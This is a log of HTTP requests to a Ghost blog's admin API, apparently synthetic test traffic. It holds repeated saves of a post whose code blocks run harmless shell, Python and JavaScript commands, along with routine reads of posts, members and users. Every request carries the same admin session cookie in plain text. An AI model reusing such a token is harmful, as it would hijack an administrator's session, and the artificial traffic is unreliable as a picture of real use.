\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8578", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8337", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Apublished%2Bid%3A-%276af458a5d281b00001a59969%27&limit=1", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/members/?filter=newsletters.slug%3Adefault-newsletter%2Bemail_disabled%3A0%2B%28status%3Afree%2Cstatus%3A-free%29&order=id&limit=1&page=1", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8061", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=id%3A6af458a5d281b00001a59969&limit=1&include=authors%2Cnewsletter%2Cemail", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Apublished&limit=1", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "POST", "target": "/ghost/api/admin/stats/posts-member-counts/", "headers": ["Host: example.com", "Content-Length: 67", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"postIds\":[\"6af458a5d281b00001a59969\",\"6af45710d281b00001a598a4\"]}"}
{"method": "GET", "target": "/ghost/assets/tag-detail-BzYiFRvZ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/breadcrumb-zc_bvTJr.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/detail-page-mfw0499d.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/users/?limit=100&include=roles", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/invites/?limit=100&include=roles", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/roles/?limit=100", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/tiers/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/automated_emails/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
